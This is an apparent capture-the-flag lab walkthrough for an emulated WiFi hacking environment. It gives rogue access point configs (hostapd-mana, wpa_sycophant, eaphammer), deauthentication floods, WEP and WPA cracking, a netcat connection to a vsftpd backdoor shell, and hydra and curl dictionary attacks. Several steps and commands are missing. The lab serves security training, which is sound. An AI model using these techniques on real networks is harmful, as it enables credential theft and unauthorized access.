WIFI Hacking Walkthrough-2100
WIFI Hacking Walkthrough-2100
URL https://attackdefense.com/challengedetails?cid=2100
Important Note: This document illustrates all the important steps required to complete this lab.
This is by no means a comprehensive step-by-step solution for this exercise. This is only
provided as a reference to various commands needed to complete this exercise and for your
further research on this topic. Also, note that the IP addresses and domain names might be
different in your lab.
WiFi networks have become ubiquitous. The joy of staying connected without wires has pushed
the industry to improve the throughput of WiFi networks to give wired networks tough
competition. Hence, understanding WiFi security and being able to audit a WiFi network is a
critical skill all security professionals should possess.
We have used our emulated WiFi labs to create an environment with different kinds of WiFi
networks and clients. The player will be provided CLI access to a Kali Linux machine with three
monitor mode capable WiFi cards. We have hidden ten flags in the environment.
Flag description
● FLAG1 is BSSID of the home network of a person who works for Aegis Consulting. Hint:
Look for a client with MAC 02:00:00:00:08:00.
● FLAG2 is present on a WiFi access point's HTTP interface
● FLAG3 is the WEP key for a WiFi network operating in the vicinity.
● FLAG4: A WiFi client is looking for a WPA-PSK network. This network's SSID is one of
the most popular 100 SSID. The FLAG4 is the secret passphrase for this network is the
flag?
● Flag 5 is being transmitted in data packets of a very funnily named WPA2-PSK network.
The SSID name is based on a very famous fiction movie series. The secret passphrase
of this network is: FLAG4 | queen | XXX where X is a number from 0-9 and | is the
concatenation symbol.
● FLAG6: A WiFi client is looking for an EAP-PAP network. This network's SSID is one of
the most popular 100 SSID. The FLAG6 is the password saved by the device for this
network is the flag.
● Flag 7 is hosted on a webserver of Zora Corporation. However, be aware Zora
Corporation has mandated very strong passwords for WiFi access.
● Flag 8 is hosted on an FTP of ABCorp. The SSID name of ABCorp is CorporateNetwork.
● Flag 9 is hosted on a webserver of ABCorp.
● Flag 10 is stored in a Memcached server of ZenithCorporation. The client trying to
connect to this network has the wrong credential pair. But, the password it is using, is
correct for one of the most common usernames on enterprise WiFi networks.
Solution:
The description of flags is provided in the challenge description. Use that as starting point.
Step 1: Look around on devices in the vicinity, locate the client probing for “AegisConsulting”
network.
Step 2: Check the WiFi spectrum to see if this client is connecting to some other network. On
sniffing traffic on channel 44, you will find that this same client is connected to Darthnet SSID.
FLAG1: 68:7F:77:C2:C2:9A
NOTE: The AegisConsulting probe is only visible for some time. Once the device connects to
Darthnet, it won’t be visible, after that user will have to Deauth this client. It is deliberately kept
this way.
In this case, there was no way to know which BSSID to deauth so the user/player is supposed
to use hit and trial on all BSSIDs i.e. deauth all BSSIDs and check if the probe request appears.
FLAG2 is present on a WiFi access point's HTTP interface.
There is an multiple open SSIDs in the environment. One of those is “AngelNet”. Connect to it.
Again, as it is a CTF, the player is supposed to look around especially in all open networks to
find the flag.
Command: iw dev
Step 4: To get IP layer connectivity, we will need an IP address. Run dhclient to get an IP
address for wlan1.
Step 6: A webserver is operating on the interface. Check the content being served by it.
FLAG2: e0878efca2a95a9d4459a29cd22c648f
FLAG3 is the WEP key for a WiFi network operating in the vicinity.
Step 2: We can observe a WEP network with “ElectricWorks” SSID. It is also transmitting data
packets on channel 6. Run airodump-ng in traffic capture mode on channel 6.
NOTE: It is important that the ARP request count goes up too. For more details, check WEP
cracking theory in PA courses.
Step 3: Once we have enough packets (say more than 50,000), stop airodump-ng and
aireplay-ng.
Afterwards, launch aircrack-ng on the .cap file generated by airodump-ng.
Step 4: Select the index number for our WEP network.
FLAG4: A WiFi client is looking for a WPA-PSK network. This network's SSID is one of
the 100 most popular SSIDs. FLAG4 is the secret passphrase for this network.
Step 1: Create a sample hostapd config file for WPA2-PSK network ans save it as hostapd.conf
Hostapd config
interface=wlan2
ssid=XXXXXX
wpa=1
wpa_passphrase=dummypassword
wpa_key_mgmt=WPA-PSK
rsn_pairwise=TKIP CCMP
channel=6
Step 2: Create a bash script named “create_aps.sh” to read the SSIDs from the list and
generate configs
#! /bin/bash
ssid_list="/root/wordlists/100-most-popular-ssid.txt"
Commands:
chmod +x create_aps.sh
./create_aps.sh
The script will create APs for each SSID one by one and wait 30 seconds for a client to connect.
Step 4: Now one can either use visual inspection of logs or automate the client connection
detection.
Here, by visual inspection we can see that the SSID “Home” got a client connection.
Hence, the SSID is “Home”.
Step 5: Create a hostapd configuration file for the WPA-PSK network with SSID “Home” and
name it hostapd.conf. The passphrase can be anything.
Configuration
interface=wlan2
ssid=Home
bssid=b8:0d:f7:83:79:b0
wpa=1
wpa_passphrase=chocolate123
wpa_key_mgmt=WPA-PSK
rsn_pairwise=TKIP CCMP
channel=6
The client device will connect to this honeypot and the handshake will be captured.
Check the output in the hostapd tab to confirm that a client tried to connect to honeypot.
Step 8: Stop airodump-ng and hostapd. Run aircrack-ng with 100-common-passwords.txt as
wordlist which is present in wordlists/ directory.
FLAG 4: friendship
FLAG 5 is being transmitted in data packets of a very funnily named WPA2-PSK network.
The SSID name is based on a very famous fiction movie series.
As per the hint, target Lord-of-the-Pings SSID as that is funny and the name is derived from
Lord of the Rings movie series.
Now the handshake will be captured by the airodump-ng and will be saved in packet-01.cap file.
Command: ls -l
Step 3: Now to generate all possible passphrases, we will use a python script.
Python script
import itertools
x=000
while x < 1000:
print("friendshipqueen"+str(x))
x = x+1
Step 6: There are data packets in the capture. Decrypt the traffic for Lord-of-the-Pings network.
Step 8: The UDP port rplay unreachable packet seems interesting. Check payloads of the
packets too.
FLAG 5: 888d2543a15a04805ef26ac062ea127f
FLAG6: A WiFi client is looking for an EAP-PAP network. This network's SSID is one of
the 100 most popular SSIDs. FLAG6 is the password saved by the device for this
network.
Step 1: Write the hostapd-mana configuration for the target network and name it hostapd.conf
hostapd-mana Configuration
interface=wlan1
ssid=XXXXXX
channel=6
hw_mode=g
wpa=3
wpa_key_mgmt=WPA-EAP
wpa_pairwise=TKIP CCMP
auth_algs=3
ieee8021x=1
eapol_key_index_workaround=0
eap_server=1
eap_user_file=hostapd.eap_user
ca_cert=/root/certs/ca.pem
server_cert=/root/certs/server.pem
private_key=/root/certs/server.key
private_key_passwd=
dh_file=/root/certs/dhparam.pem
mana_wpe=1
mana_eapsuccess=1
enable_mana=1
#! /bin/bash
ssid_list="/root/wordlists/100-most-popular-ssid.txt"
Step 3: Make this script executable and run this script
Commands:
chmod +x create_aps.sh
./create_aps.sh
The script will create APs for each SSID one by one and wait 30 seconds for a client to connect.
Step 4: Now one can either use visual inspection of logs or automate the client connection
detection.
Here, by visual inspection, we can see that the EAP-PAP SSID “eduram” got a client
connection. The credentials are also visible
eap-ttls/pap:
username: joshua
password: accessgoliath1
FLAG 6: accessgoliath1
Step 1: Check the output of airodump-ng to find out the ENC, CIPHER, and AUTH used by
ZoraCorp.
Step 2: Write the hostapd-mana configuration for the target network and name it
hostapd-mana.conf
hostapd-mana Configuration
interface=wlan1
ssid=ZoraCorp
channel=11
hw_mode=g
wpa=3
wpa_key_mgmt=WPA-EAP
wpa_pairwise=TKIP CCMP
auth_algs=3
ieee8021x=1
eapol_key_index_workaround=0
eap_server=1
eap_user_file=hostapd.eap_user
ca_cert=/root/certs/ca.pem
server_cert=/root/certs/server.pem
private_key=/root/certs/server.key
private_key_passwd=
dh_file=/root/certs/dhparam.pem
mana_wpe=1
mana_eapsuccess=1
enable_mana=1
enable_sycophant=1
sycophant_dir=/tmp/
Also, create a hostapd.eap_user file.
Step 3: Start the hostapd-mana on wlan0 with the configuration files created above.
network={
ssid="ZoraCorp"
# The SSID you would like to relay and authenticate against.
scan_ssid=1
key_mgmt=WPA-EAP
# Do not modify
identity=""
anonymous_identity=""
password=""
# This initialises the variables for me.
# -------------
eap=PEAP
phase1="crypto_binding=0 peaplabel=0"
phase2="auth=MSCHAPV2"
# Dont want to connect back to ourselves,
# so add your rogue BSSID here.
bssid_blacklist=02:00:00:00:01:00
}
Note: Please make sure to mention the BSSID of hostapd-mana based honeypot in the
configuration file. This is to make sure that sycophant doesn’t connect to the honeypot.
Step 4: Start wpa_sycophant with above configuration on interface wlan2 (while being inside
the wpa_sycopant/ directory)
The setup is ready. Now, force the client to connect to hostapd-mana honeypot.
Step 5: A deauthentication flood can be used to push the client to honeypot. Open a new tab
and run aireplay-ng.
Within a few seconds, the client will connect to the honeypot and logs will appear on both the
hostapd-mana and the wpa_sycophant consoles.
Here one can observe the username ‘boris’. Hostapd-mana coordinates with wpa_sycophant to
perform a successful MITM.
NOTE: It might not work on the first try. Please try 2-3 times before contacting the support.
Step 6: The same can be verified by checking the interface status on a new tab. (OR Stop
aireplay-ng and run the commands on that same tab)
Command: iw dev
WPA_sycophant script also starts dhclient on the interface. So, check the IP address of the
interface.
Check the hosted content on the webserver running on the WiFi router.
The HTTP content tells that the LAN interface of the router has an IP address 192.228.221.3.
Please note that it will be different each time.
Step 9: Run Nmap scan on the next IP of this range (i.e. 192.228.221.4). And, as only the
TCP/UDP traffic is allowed, use Nmap TCP Connect scan.
Step 10: HTTP server is operating on the machine. Check the content hosted on it.
Step 12: The webserver content is protected by Basic authentication. Launch hydra to perform
a dictionary attack on it.
FLAG 7: aede53584e6e524d1cd9c531e3572150
Command:
cd eaphammer/
./eaphammer -i wlan2 --channel 6 --auth wpa-eap --essid CorporateNetwork --creds
Step 3: Launch deauth attack to disconnect the client connected to the target network (i.e.
CorporateNetwork). For this, run aireplay-ng from a separate tab.
The client will connect to the honeypot and we will get the username and password hash. Stop
aireplay-ng and eaphammer.
In order to crack the hash, copy the jtr hash line from the output and save it in a new file named
“hash”. (We have changed our directory to /root/ before saving this file.)
Note: Using echo to save the hash might put incorrect hash in the file. Use of text editors like
nano and vim is advised.
Step 4: Run jtr to crack the hash
Credentials
Username: molly
Password: trustno1
network={
ssid="CorporateNetwork"
scan_ssid=1
key_mgmt=WPA-EAP
eap=PEAP
identity="molly"
password="trustno1"
phase1="peaplabel=0"
phase2="auth=MSCHAPV2"
}
Step 5: Run wpa_supplicant with this configuration file.
Command: iw dev
Step 7: Run dhclient to get IP address on the interface.
Step 8: The IP address 172.22.0.181 is assigned to the interface and the gateway is
172.22.0.1. Lets scan the gateway machine.
Step 10: The IP of the router is 192.109.83.3. Scan the next machine in this series
i.e.192.109.83.4.
Step 11: The target is running an FTP and SSH service. Run service fingerprinting on the
target.
Step 12: The control will get stuck after entering the details. The VSFTPD has opened a
listening service on 6200. Open another terminal tab and connect to that with netcat.
FLAG 8: 58c7c29a8ab5e7c4c06256b954947f9a
Step 1: While interacting the nc session opened for the last flag, check if the compromised
machine has additional network interfaces.
Command: ifconfig
Step 2: We can observe an additional interface eth1. Try to ping the next IP in that network
range.
The ping is successful. So the machine is up. Now to get stable access to the compromised
machine, instead of this netcat based connection, let’s use SSH connection.
Step 3: SSH is already running on this machine, check if root login is permitted on this machine.
Step 6: Curl and nmap are not present on this machine so copy those from the attacker Kali
machine. Open a new tab for copying the files.
Step 8: Check the content hosted on HTTP server running on the second target.
Step 10: Transfer the dictionaries from the kali machine to this machine.
Step 11: On the FTP attacker machine, write a bash script to use curl to carry out a dictionary
attack. vim can be used as the editor.
Command:
chmod +x brute.sh
./brute.sh 192.172.114.3 top-usernames.txt 100-common-passwords.txt
FLAG 9: 11ac49c9cb5a8a763d8990de844da253
Step 1: A client is looking for ZenithCo. Create a honeypot for SSID ZenithCo using
eaphammer.
Command:
cd eaphammer
./eaphammer -i wlan2 --channel 6 --auth wpa-eap --essid ZenithCo --creds
Wait for the client to connect. The client will connect and we will be able to see the credentials.
Now as per the challenge description, the username is wrong but the password is correct for
one of the popular usernames.
Option 1: A python/bash script can be used to create configurations with different identity (i.e.
username).
On trying different username, the user will notice that “guest” is a the corerct username for this
password.
Take “guest” as the username and create a wpa_supplicant configuration for this network and
name it supplicant.conf
network={
ssid="ZenithCo"
scan_ssid=1
key_mgmt=WPA-EAP
eap=PEAP
identity="guest"
password="mamba123"
phase1="peaplabel=0"
phase2="auth=GTC"
}
Command: iw dev
Step 5: The interface is connected to the network. Get an IP address on the interface by using
dhclient.
Step 8: An HTTP server is running on the machine. Check the content.
Command: curl 192.23.115.4
Step 9: It seems like an API to interact with memcached. Interact with it. List all Memcached
keys.
Step 10: Observe that there is an item with the key FLAG10. Retrieve this item.